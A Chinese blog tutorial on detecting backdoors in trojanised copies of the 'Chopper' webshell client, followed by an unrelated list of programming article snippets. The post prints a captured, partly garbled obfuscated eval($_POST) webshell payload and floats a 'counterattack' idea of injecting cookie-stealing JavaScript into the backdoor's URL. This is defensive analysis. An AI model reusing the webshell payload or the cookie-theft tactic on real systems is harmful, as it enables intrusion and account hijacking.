zkzq
zkzq

菜刀HTTP&TCP后门分析+防范

 

本文由掌控安全学院 - aj545302905 投稿

“菜刀”对于渗透测试者来说耳熟能详，但是大家用的菜刀真的安全吗？你能保证你所使用的工具不会被别人偷偷的塞入后门吗？

如果菜刀中被塞入后门 那我们岂不是成了别人的苦力。辛辛苦苦打下的shell就这样不知不觉的被别人窃取，怎能好意思说自己是一名”小黑客”呢!

所以我从网上分别找到两个带有HTTP后门及TCP后门的菜刀，教给大家如何去分析及防范提权工具中的后门。

一.HTTP后门菜刀

HTTP后门是最容易发现的后门了，我们只需要抓一个包，再对数据包的内容进行解密，及可得到幕后黑手的后门地址。
我们在本地phpstudy上写一个一句话木马，并且让带有后门的菜刀去链接我们的一句话hez.php，同时对后门菜刀进行抓包。
 

菜刀HTTP&TCP后门分析+防范_第1张图片


这里我们对第四个包进行分析，因为我们在包的内容里面发现了我们一句话木马的密码后面跟了一串URL编码的数据。

数据如下：

hackxxx=624_23Dstrrev%28edoced_46esab829%3B%4Beva128%24_%28%24_POST%5Bz8%5D%29%29% 3B&z0=QGU2YwwoYmFZZTY8K2RRUND1NU1UWYkoweDUnN1UuMFRNFOU1TbDdjNlYwWTISdnEybGxLQ2R
NZUd SbEp5d3hLUHRBWm1sc1pTz
25hSFIwY SRudkwZzZDNKeRRTGISZ1UwMa1ZTU31.U1JMR1ZSUK5UMDFIWU1NTZGRNaWNtvUdGenN6NG5NbXRs2UNna1qxQ1BUNUFwS1R8OScpKTtAaW5pX3NIdCgizGl2cGxheW91.
nJvcnMiLCIuIik7QHN1dF9Saw1
lX2xpbw18KDAp08BzZXRFbWFnaWNFcXUudCUzX3J1bnRpbWUoNCk7ZWNobygiLT58Iik70gREPMRpcmn5hbWUOJF9TRUMRUJt
I 1NDUk1QUF9GSUxFTkFNRSJdKT
tp2igkRD89TiIp4EQ9Z61ybnF t2SgkXI1NFU1HNYnNCcigkRCwwL DEpIT@iLyIpe22vcmUh2gocnF uZ2oIkEiLc.alikgYXMNgJEwpaWoaXNYZGlyKCJ7JEOi1pKSRSL j sieyRMFToi03 8kUi4911.0l jskdT oZnUU'3Rpb25fZXhpcBRzKCdwB3HpeF9nZXR1221kJykpPBBwb3NpeF9nzXRwd30pZChacG9zaXhf2208zX0pzCgpKTonJzskdXNyPSgkdSk%
2FJHUbJ25hbWUnX

我们对数据进行url解码：
 

菜刀HTTP&TCP后门分析+防范_第2张图片


发现这里可以进行base64解码：

图片


这里解码后我们发现还可以进行一次base64解码：

图片


经过三次解码后，我们找到了后门的地址。

菜刀TCP后门：

这种后门就比较恶心了，因为通过单纯的抓包是不会被发现的。所以我们必须使用另一个工具对整个网路中的可执行程序进行监听。这里推荐使用Microsoft Network Monitor 3.4工具进行监听。PS：如果不能设置网卡 可以使用管理员身份打开。

菜刀HTTP&TCP后门分析+防范_第3张图片

新建工程后点击start开始监听，同时让带有TCP后门的菜刀链接自己的一句话木马。

菜刀HTTP&TCP后门分析+防范_第4张图片

我们发现我们的服务器向一个很可疑的网址发送了一堆TCP和HTTP数据包
对可疑网站的域名进行解析，发现对方IP为192.126.xxx.xxx PS：这并不是内网IP
对该IP进行查询 发现对方服务器在美国

菜刀HTTP&TCP后门分析+防范_第5张图片


于是我们再继续往下看，发现一条HTTP数据包

菜刀HTTP&TCP后门分析+防范_第6张图片

从中得知对方后门地址为www.xxx.xyz/1dex.asp
所以我们尝试去访问一下：发现访问不到 但是可以正常访问对方服务器

菜刀HTTP&TCP后门分析+防范_第7张图片

菜刀HTTP&TCP后门分析+防范_第8张图片

这里也不清楚问题出在哪，可能是被调试了吧~

那么我们已经知道我们的提权工具存在后门了 该怎样避免呢？

我们只需打开host文件 将里面的数据修改为127.0.01 "后门网址"

菜刀HTTP&TCP后门分析+防范_第9张图片

菜刀HTTP&TCP后门分析+防范_第10张图片


这样我们的电脑访问后门的时候 就相当于访问本机了，致使对方后门失效。

反杀：

我们再回过头来看第一个HTTP后门，发现后门地址后紧跟url传参。
反杀思路：我们是不是可以构造这样一条连接www.xxx.com?Url=中间的js语句可以构造反弹cookie的代码，这样当对方登录的时候 是不是就可以窃取到cookie了呢？当然要考虑到对方服务器上是否开启拦截 是否有安全狗等问题……

申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。

免费领取安全学习资料包！

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等

 

应急响应笔记

学习路线

你可能感兴趣的:(http,tcp/ip,网络协议)

  • 无法加载文件 *.ps1，因为在此系统中禁止执行脚本。 暗夜星河 nodenpmnode.js
    描述：在安装完htpp-server以后，执行http-server报以下错误：错误原因：windows下运行*.ps1脚本（powershell的脚本）的时候，需要设置执行权限。set-ExecutionPolicyRemoteSigned
  • Failed to resolve: com.github.* 冰峰雪岭 安卓gradlemavenjava
    引入外部包时常见说要在项目根目录的build.gradle中添加allprojects{repositories{......maven{url'https://jitpack.io'}}}但还是会报错Failedtoresolve:com.github.*最新的androidStudio要到根目录的settings.gradle中去添加repositories{......maven{url'h
  • 用红黑树实现map和set RadiumYang 算法C++
    用红黑树实现map和set上一篇文章讲解了如何实现红黑树：https://blog.csdn.net/Radium_1209/article/details/104873813这里我们用已经实现的红黑树来写一个简单的map和set。因为map有两个参数，所以我们要先对原来的代码进行微调，将传入的参数调整为Key和Value。还有一些地方需要微调，详见https://github.com/Radiu
  • vue 中利用canvas 给pdf文件加水印---详细教程（附上完整代码） 阿土不土 pdf前端vue.js
    需求：在h5网页中打开pdf文件，要求给文件添加水印实现技术及插件:vue，vue-pdf,canvas插件安装:npmivue-pdf--savenpmipdf-lib--save原理：实现pdf预览，在显示pdf的容器上添加一层遮罩，用来存放水印具体实现代码详细介绍:{{pageNum}}/{{totalPages}}上一页下一页相关解释::page从第几页开始显示:src:pdf存放路径@p
  • vue3+elementPlus之后台管理系统（从0到1）(day1-项目主体搭建) 沐暖沐 vue.js前端javascript
    vue3官方文档：https://cn.vuejs.org/guide/introduction.html1、项目创建确保电脑已安装node查看命令：node-v进入项目目录，创建项目npminitvue@latestNeedtoinstallthefollowingpackages:[email protected]?(y)yVue.js-TheProgressiveJav
  • java 重定向后的接口得到两个cookie 小泉水 java开发语言
    HTTP相关视频讲解：零拷贝的原理Java重定向后的接口得到两个cookie在Web开发中，重定向是一种常见的操作，通过重定向可以实现页面跳转、处理表单提交等功能。在Java中，我们通常使用HttpURLConnection或者HttpClient等工具来发送HTTP请求和接收响应。本文将介绍如何在Java中发送HTTP请求并处理重定向后得到的两个cookie。HTTP请求和重定向HTTP协议是一
  • 批处理CMD使用CURL 自动上传/下载文件 vistaup linux服务器
    需求当前有个需求，在不借助第三方工具的情况下（当然curl其实也是三方），设备A每天运行完成的报表，传递到设备B的指定文件夹中备份。A运行结束的时间不固定，这两台设备因为权限原因，没有办法安装第三方软件，也没有公网IP且不在一个局域网，所以考虑用一个FTP服务器做中转。当然有更好的方案也可以同步下。目前的其他思路：frp（本地端口映射安全性相对低），zerotier（尽量不使用三方软件）目前未解决
  • Android车机DIY开发之硬件篇(三)—NXP开发板介绍 勿忘初心91 车机DIYandroid单片机mcu嵌入式硬件arm开发
    Android车机DIY开发之硬件篇(三)—NXP开发板介绍1.讯为iTOP-iMX8MMini开发板官网介绍MINIPCIE可外接miniPCIE接口的4G模块,具备PCIE2.0单通道WIFI/BT支持4G模块支持（选配）MIPI-DSI1个无HDMISpeaker2路MIC支持MIC输入PHONE支持耳机输出CAN1路Speaker2路SDIO/GPIO接口20PINAndroid9.0系统
  • 剑指 Offer II 002. 二进制加法 常某某的好奇心 数据结构
    comments:trueedit_url:https://github.com/doocs/leetcode/edit/main/lcof2/%E5%89%91%E6%8C%87%20Offer%20II%20002.%20%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8A%A0%E6%B3%95/README.md剑指OfferII002.二进制加法题目描述给定两个01字符串a
  • 【React系列】父子组件通信—props属性传值 川峰 ReactReactprops传值
    本文来自#React系列教程：https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5MDAzNzkwNA==&action=getalbum&album_id=1566025152667107329)一.认识组件的嵌套组件之间存在嵌套关系：在之前的案例中，我们只是创建了一个组件App；如果我们一个应用程序将所有的逻辑都放在一个组件中，那么这个组件就会变
  • React应用深度优化与调试实战指南 python算法(魔法师版) javascript开发语言ecmascriptreact.js前端
    一、渲染性能优化进阶1.1精细化渲染控制typescript复制//components/HeavyComponent.tsximportReact,{memo,useMemo}from'react';interfaceItem{id:string;complexData:{//复杂嵌套结构};}constHeavyComponent=memo(({items}:{items:Item[]})=>
  • 使用shell将zip, rar压缩包压缩到同目录的文件夹中 ミッタン unix
    今天在研究压缩包解压的时候，发现批量化处理相关的脚本还是挺少的。和大家分享下如何快速用shell识别不同压缩包并在同名目录下解压缩。#unzipp.sh#echo"${FILE%%.*}"##=>example#echo"${FILE%.*}"##=>example.tar#echo"${FILE#*.}"##=>tar.gz#echo"${FILE##*.}"##=>gzcd{这里放入你的路径}
  • 对于Unix系统编程中管道通信函数popen()的理解 ミッタン unixlinux
    通常我们在使用管道的时候，如果忘记关掉输入或输出，就会出现SIGEPIPE，或者block的现象。为了能够更加方便的使用管道，可以使用popen()函数来建立管道。#includeFILE*popen(constchar*command,constchar*mode);#RETURNfilestream,orNULLonerrorintpclose(FILE*stream);#RETURNterm
  • FPGA实现带阻滤波器：代码与技术要点详解 weixin_42601702
    本文还有配套的精品资源，点击获取简介：在电子工程领域，FPGA技术被广泛应用于数字信号处理中，能够实现高度定制化和高效的带阻滤波器。本资料将通过实例代码深入讲解带阻滤波器在FPGA上的设计与实现，涵盖滤波器结构、设计、系数计算、编程语言选择、IP核封装、时序优化、仿真验证和硬件调试等多个关键知识点。1.FPGA与数字信号处理数字信号处理(DSP)是现代通信和电子系统的核心，而现场可编程门阵列(FP
  • mysql.sock.lock的作用,[轉帖]mysql.sock的作用 彩彩彩虹
    2、socketmysql.sock的作用是server和client在同一台服務器，並且使用localhost進行鏈接的時候，就會使用socket來進行連接——僅此而已也就是：為主機名為localhost建立的MySQL連接，該連接過程通過一個套接字文件mysql.socket實現的。所以該文件被刪后，用localhost用戶是連接不到MySQL服務器的。必須建立一條tcp/ip連接，即使用12
  • 深入解析Vue3响应式系统：从Proxy实现到依赖收集的核心原理 苹果酱0567 面试题汇总与解析课程设计springbootvue.jsjavamysql
    深入解析Vue3响应式系统：从Proxy实现到依赖收集的核心原理响应式系统的基本原理作为一个热门的JavaScript框架，Vue在3.x版本中引入了基于Proxy的响应式系统。这个系统的核心思想是利用Proxy对象拦截对数据的访问和修改，从而实现数据的自动更新。当我们改变一个被代理的对象时，相关的视图会自动更新，无需手动干预。这一创新的设计让Vue3在性能和开发体验上都有了大幅度的改进。如何实现
  • JavaScript学习记录22 济南小草根 JavaScriptjavascript学习开发语言
    第十节RegExp对象1.概述正则表达式（regularexpression）是一种表达文本模式（即字符串结构）的方法，有点像字符串的模板，常常用来按照“给定模式”匹配文本。比如，正则表达式给出一个Email地址的模式，然后用它来确定一个字符串是否为Email地址。JavaScript的正则表达式体系是参照Perl5建立的。新建正则表达式有两种方法。一种是使用字面量，以斜杠表示开始和结束。varr
  • ModelNet40-C 项目使用教程 薛烈珑Una
    ModelNet40-C项目使用教程ModelNet40-CRepofor"BenchmarkingRobustnessof3DPointCloudRecognitionagainstCommonCorruptions"https://arxiv.org/abs/2201.12296项目地址:https://gitcode.com/gh_mirrors/mo/ModelNet40-C1.项目介绍M
  • Recover.vim：优雅地解决Vim交换文件冲突问题 尚舰舸Elsie
    Recover.vim：优雅地解决Vim交换文件冲突问题去发现同类优质开源项目:https://gitcode.com/项目介绍在使用Vim进行文件编辑时，有时你会遇到交换文件（swapfile）的困扰。这是因为当你关闭电脑或意外断电后，Vim会留下一个临时的交换文件以备恢复未保存的工作。Recover.vim是一个Vim插件，它旨在帮助你在恢复文件时轻松查看并合并与磁盘上现有版本的差异。项目技术
  • Python抖音爬虫 yzx991013 python基础学习python爬虫开发语言
    代码：#导入自动化模块的安装：需要安装pipinstallDrissionPagefromDrissionPageimportChromiumPage#导入时间转换模块fromdatetimeimportdatetime#导入csv模块，用于操作CSV文件importcsv#导入格式化输出模块frompprintimportpprint#使用with语句管理文件资源，自动关闭文件withopen(
  • mybatis项目@Insert注解批量插入数据库 执子手 吹散苍茫茫烟波 mysql框架mybatisannotationsmysql
    entitypackagecom.fanyu.mybatis.entity;/***CreatedwithIntelliJIDEA.**@Auther:cloudonthesun*@Date:2021/4/2615:59*@Description:*/publicclassTeacher{privateIntegerid;privateStringname;privateStringsex;pri
  • 省级-十二五节能企业名单及节能量目标（万家企业节能低碳行动）-社科数据 泡芙萝莉酱 社科数据数据挖掘人工智能大数据深度学习数据分析毕业论文节能低碳行动
    省级-十二五节能企业名单及节能量目标（万家企业节能低碳行动）-社科数据https://download.csdn.net/download/paofuluolijiang/90028606https://download.csdn.net/download/paofuluolijiang/90028606在“十二五”规划期间，我国推出了万家企业节能低碳行动，旨在通过提高能源效率和降低碳排放来推动绿
  • MyBatis-Spring-Boot-Starter 教程 段沙璐Blythe
    MyBatis-Spring-Boot-Starter教程spring-boot-starterMyBatisintegrationwithSpringBoot项目地址:https://gitcode.com/gh_mirrors/sp/spring-boot-starter1.项目目录结构及介绍MyBatis-Spring-Boot-Starter是一个方便地将MyBatis集成到SpringB
  • 探索SakuraLLM：轻小说与Galgame翻译的新纪元 蒋素萍Marilyn
    探索SakuraLLM：轻小说与Galgame翻译的新纪元SakuraLLM适配轻小说/Galgame的日中翻译大模型项目地址:https://gitcode.com/gh_mirrors/sa/SakuraLLM在人工智能的浪潮中，SakuraLLM以其独特的魅力和强大的功能，成为了日中翻译领域的一颗璀璨明星。本文将深入介绍SakuraLLM项目，分析其技术特点，探讨其应用场景，并揭示其与众不同
  • TypeScript 学习 -类型 - 10 草明 TypeScripttypescript学习前端
    编写声明文件编写ts的声明文件源文件是ts文件,可以自动生成生命文件tsconfig.json:{"compilerOptions":{"target":"es2016","module":"commonjs","declaration":true,"outDir":"./dist","declarationDir":"./dist/types","esModuleInterop":true,"f
  • TypeScript 学习 - 创建一个项目 草明 TypeScripttypescript学习javascript
    创建一个项目实际使用中,使用yarncreatereact-app比npxcreate-react-app更顺利一些.使用yarncreatereact-appts-react-app--templatetypescript创建一个TypeScript项目使用yarncreatereact-appts-react-app创建一个JavaScript项目如果不使用脚手架创建,可以安装依赖,以及编写入
  • Python 包管理之 poetry 奔跑的大西吉 Python
    poetry是一个Python虚拟环境和依赖管理的工具。poetry和pipenv类似，另外还提供了打包和发布的功能。官方文档：python-poetry.org/docs/python项目部署：poetry管理本地环境,上线用dockerpoetry安装poetry提供多种安装方式，个人推荐从以下2种方式中选择：方式一：（推荐）$curl-sSLhttps://raw.githubusercon
  • 新站如何快速获得搜索引擎收录？ 百度网站快速收录 搜索引擎
    本文来自：百万收录网原文链接：https://www.baiwanshoulu.com/8.html新站想要快速获得搜索引擎收录，需要采取一系列有针对性的策略。以下是一些具体的建议：一、网站内容优化高质量原创内容：确保网站内容原创、独特且有价值，满足搜索引擎和用户的需求。定期更新内容，保持网站的活跃度和吸引力。关键词布局：在标题、正文、图片alt标签等位置合理分布关键词，提高网页的相关性。避免关键
  • skynet 吓人的鸟 编程语言-c/c++编程语言-luaskynetcluagameserver
    https://github.com/cloudwu/skynet电商不是有C2BB2CC2C这些个概念么，互动百科的CEO甚至还对抄袭美其名曰：COPYTOCHINA(C2C)。鸟人今天也为C2B赋予新意：COPYTOBLOG。哈哈研究skynet的朋友请移步云风的博客，我这里纯属抄袭下来做标记笔记用的，因为个人阅读习惯如此。http://blog.codingnow.com/2012/08/s
  • 各大模型厂商API使用：百度、阿里、豆包、kimi、deepseek、Yi loong_XL 深度学习大模型AI百度大模型
    百度ERNIE（支持requests接口）ERNIESpeed、ERNIELite免费免费测试下来模型ernie_speed输出吞吐量计算20-30来个，“{length/cost}tokens/s”输出总长度/耗时https://qianfan.cloud.baidu.com/文档：https://cloud.baidu.com/doc/WENXINWORKSHOP/s/dltgsna1oapi
  • 二分查找排序算法 周凡杨 java二分查找排序算法折半
    一：概念 二分查找又称 折半查找（ 折半搜索/ 二分搜索），优点是比较次数少，查找速度快，平均性能好；其缺点是要求待查表为有序表，且插入删除困难。因此，折半查找方法适用于不经常变动而 查找频繁的有序列表。首先，假设表中元素是按升序排列，将表中间位置记录的关键字与查找关键字比较，如果两者相等，则查找成功；否则利用中间位置记录将表 分成前、后两个子表，如果中间位置记录的关键字大于查找关键字，则进一步
  • java中的BigDecimal bijian1013 javaBigDecimal
            在项目开发过程中出现精度丢失问题，查资料用BigDecimal解决，并发现如下这篇BigDecimal的解决问题的思路和方法很值得学习，特转载。         原文地址：http://blog.csdn.net/ugg/article/de
  • Shell echo命令详解 daizj echoshell
    Shell echo命令 Shell 的 echo 指令与 PHP 的 echo 指令类似，都是用于字符串的输出。命令格式： echo string 您可以使用echo实现更复杂的输出格式控制。 1.显示普通字符串: echo "It is a test" 这里的双引号完全可以省略，以下命令与上面实例效果一致： echo Itis a test 2.显示转义
  • Oracle DBA 简单操作 周凡杨 oracle dba sql
    --执行次数多的SQL select sql_text,executions from (      select sql_text,executions from v$sqlarea order by executions desc      ) where rownum<81;  &nb
  • 画图重绘 朱辉辉33 游戏
      我第一次接触重绘是编写五子棋小游戏的时候，因为游戏里的棋盘是用线绘制的，而这些东西并不在系统自带的重绘里，所以在移动窗体时，棋盘并不会重绘出来。所以我们要重写系统的重绘方法。   在重写系统重绘方法时，我们要注意一定要调用父类的重绘方法，即加上super.paint(g)，因为如果不调用父类的重绘方式，重写后会把父类的重绘覆盖掉，而父类的重绘方法是绘制画布，这样就导致我们
  • 线程之初体验 西蜀石兰 线程
    一直觉得多线程是学Java的一个分水岭，懂多线程才算入门。 之前看《编程思想》的多线程章节，看的云里雾里，知道线程类有哪几个方法，却依旧不知道线程到底是什么？书上都写线程是进程的模块，共享线程的资源，可是这跟多线程编程有毛线的关系，呜呜。。。 线程其实也是用户自定义的任务，不要过多的强调线程的属性，而忽略了线程最基本的属性。 你可以在线程类的run()方法中定义自己的任务，就跟正常的Ja
  • linux集群互相免登陆配置 林鹤霄 linux
    配置ssh免登陆 1、生成秘钥和公钥    ssh-keygen -t rsa 2、提示让你输入，什么都不输，三次回车之后会在~下面的.ssh文件夹中多出两个文件id_rsa 和 id_rsa.pub    其中id_rsa为秘钥，id_rsa.pub为公钥，使用公钥加密的数据只有私钥才能对这些数据解密    c
  • mysql : Lock wait timeout exceeded; try restarting transaction aigo mysql
    原文：http://www.cnblogs.com/freeliver54/archive/2010/09/30/1839042.html   原因是你使用的InnoDB   表类型的时候, 默认参数:innodb_lock_wait_timeout设置锁等待的时间是50s, 因为有的锁等待超过了这个时间,所以抱错.   你可以把这个时间加长,或者优化存储
  • Socket编程 基本的聊天实现。 alleni123 socket
    public class Server { //用来存储所有连接上来的客户 private List<ServerThread> clients; public static void main(String[] args) { Server s = new Server(); s.startServer(9988); } publi
  • 多线程监听器事件模式(一个简单的例子) 百合不是茶 线程监听模式
        多线程的事件监听器模式   监听器时间模式经常与多线程使用,在多线程中如何知道我的线程正在执行那什么内容,可以通过时间监听器模式得到        创建多线程的事件监听器模式 思路:    1, 创建线程并启动,在创建线程的位置设置一个标记     2,创建队
  • spring InitializingBean接口 bijian1013 javaspring
    spring的事务的TransactionTemplate，其源码如下： public class TransactionTemplate extends DefaultTransactionDefinition implements TransactionOperations, InitializingBean{ ... } TransactionTemplate继承了DefaultT
  • Oracle中询表的权限被授予给了哪些用户 bijian1013 oracle数据库权限
            Oracle查询表将权限赋给了哪些用户的SQL，以备查用。 select t.table_name as "表名", t.grantee as "被授权的属组", t.owner as "对象所在的属组"
  • 【Struts2五】Struts2 参数传值 bit1129 struts2
    Struts2中参数传值的3种情况 1.请求参数绑定到Action的实例字段上 2.Action将值传递到转发的视图上 3.Action将值传递到重定向的视图上   一、请求参数绑定到Action的实例字段上以及Action将值传递到转发的视图上 Struts可以自动将请求URL中的请求参数或者表单提交的参数绑定到Action定义的实例字段上，绑定的规则使用ognl表达式语言
  • 【Kafka十四】关于auto.offset.reset[Q/A] bit1129 kafka
    I got serveral questions about  auto.offset.reset. This configuration parameter governs how  consumer read the message from  Kafka when  there is no initial offset in ZooKeeper or
  • nginx gzip压缩配置 ronin47 nginx gzip 压缩范例
    nginx gzip压缩配置 更多 0 nginx gzip 配置   随着nginx的发展，越来越多的网站使用nginx，因此nginx的优化变得越来越重要，今天我们来看看nginx的gzip压缩到底是怎么压缩的呢？ gzip(GNU-ZIP)是一种压缩技术。经过gzip压缩后页面大小可以变为原来的30%甚至更小，这样，用
  • java-13.输入一个单向链表，输出该链表中倒数第 k 个节点 bylijinnan java
    two cursors. Make the first cursor go K steps first. /* * 第 13 题：题目：输入一个单向链表，输出该链表中倒数第 k 个节点 */ public void displayKthItemsBackWard(ListNode head,int k){ ListNode p1=head,p2=head;
  • Spring源码学习-JdbcTemplate queryForObject bylijinnan javaspring
    JdbcTemplate中有两个可能会混淆的queryForObject方法： 1. Object queryForObject(String sql, Object[] args, Class requiredType) 2. Object queryForObject(String sql, Object[] args, RowMapper rowMapper) 第1个方法是只查
  • [冰川时代]在冰川时代,我们需要什么样的技术? comsci 技术
         看美国那边的气候情况....我有个感觉...是不是要进入小冰期了?      那么在小冰期里面...我们的户外活动肯定会出现很多问题...在室内呆着的情况会非常多...怎么在室内呆着而不发闷...怎么用最低的电力保证室内的温度.....这都需要技术手段...   &nb
  • js 获取浏览器型号 cuityang js浏览器
    根据浏览器获取iphone和apk的下载地址 <!DOCTYPE html> <html> <head>     <meta charset="utf-8" content="text/html"/>     <meta name=
  • C# socks5详解 转 dalan_123 socketC#
    http://www.cnblogs.com/zhujiechang/archive/2008/10/21/1316308.html  这里主要讲的是用.NET实现基于Socket5下面的代理协议进行客户端的通讯，Socket4的实现是类似的，注意的事，这里不是讲用C#实现一个代理服务器，因为实现一个代理服务器需要实现很多协议，头大，而且现在市面上有很多现成的代理服务器用，性能又好，
  • 运维 Centos问题汇总 dcj3sjt126com 云主机
    一、sh 脚本不执行的原因 sh脚本不执行的原因 只有2个 1.权限不够 2.sh脚本里路径没写完整。   二、解决You have new mail in /var/spool/mail/root 修改/usr/share/logwatch/default.conf/logwatch.conf配置文件 MailTo = MailFrom   三、查询连接数
  • Yii防注入攻击笔记 dcj3sjt126com sqlWEB安全yii
    网站表单有注入漏洞须对所有用户输入的内容进行个过滤和检查，可以使用正则表达式或者直接输入字符判断，大部分是只允许输入字母和数字的，其它字符度不允许；对于内容复杂表单的内容，应该对html和script的符号进行转义替换：尤其是<,>,',"",&这几个符号 这里有个转义对照表： http://blog.csdn.net/xinzhu1990/articl
  • MongoDB简介[一] eksliang mongodbMongoDB简介
    MongoDB简介 转载请出自出处：http://eksliang.iteye.com/blog/2173288 1.1易于使用        MongoDB是一个面向文档的数据库，而不是关系型数据库。与关系型数据库相比，面向文档的数据库不再有行的概念，取而代之的是更为灵活的“文档”模型。        另外，不
  • zookeeper windows 入门安装和测试 greemranqq zookeeper安装分布式
    一、序言       以下是我对zookeeper 的一些理解：      zookeeper 作为一个服务注册信息存储的管理工具，好吧，这样说得很抽象，我们举个“栗子”。       栗子1号：       假设我是一家KTV的老板，我同时拥有5家KTV，我肯定得时刻监视
  • Spring之使用事务缘由(2-注解实现) ihuning spring
      Spring事务注解实现   1. 依赖包：     1.1 spring包：           spring-beans-4.0.0.RELEASE.jar           spring-context-4.0.0.
  • iOS App Launch Option 啸笑天 option
    iOS 程序启动时总会调用application:didFinishLaunchingWithOptions:，其中第二个参数launchOptions为NSDictionary类型的对象，里面存储有此程序启动的原因。   launchOptions中的可能键值见UIApplication Class Reference的Launch Options Keys节 。 1、若用户直接
  • jdk与jre的区别（_） macroli javajvmjdk
    简单的说JDK是面向开发人员使用的SDK，它提供了Java的开发环境和运行环境。SDK是Software Development Kit 一般指软件开发包，可以包括函数库、编译程序等。  JDK就是Java Development Kit JRE是Java Runtime Enviroment是指Java的运行环境，是面向Java程序的使用者，而不是开发者。 如果安装了JDK，会发同你
  • Updates were rejected because the tip of your current branch is behind qiaolevip 学习永无止境每天进步一点点众观千象git
    $ git push joe prod-2295-1 To [email protected]:joe.le/dr-frontend.git ! [rejected] prod-2295-1 -> prod-2295-1 (non-fast-forward) error: failed to push some refs to '[email protected]
  • [一起学Hive]之十四-Hive的元数据表结构详解 superlxw1234 hivehive元数据结构
    关键字：Hive元数据、Hive元数据表结构   之前在 “[一起学Hive]之一–Hive概述，Hive是什么”中介绍过，Hive自己维护了一套元数据，用户通过HQL查询时候，Hive首先需要结合元数据，将HQL翻译成MapReduce去执行。 本文介绍一下Hive元数据中重要的一些表结构及用途，以Hive0.13为例。   文章最后面，会以一个示例来全面了解一下，
  • Spring 3.2.14，4.1.7，4.2.RC2发布 wiselyman Spring 3
      Spring 3.2.14、4.1.7及4.2.RC2于6月30日发布。   其中Spring 3.2.1是一个维护版本(维护周期到2016-12-31截止)，后续会继续根据需求和bug发布维护版本。此时，Spring官方强烈建议升级Spring框架至4.1.7 或者将要发布的4.2 。   其中Spring 4.1.7主要包含这些更新内容。
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他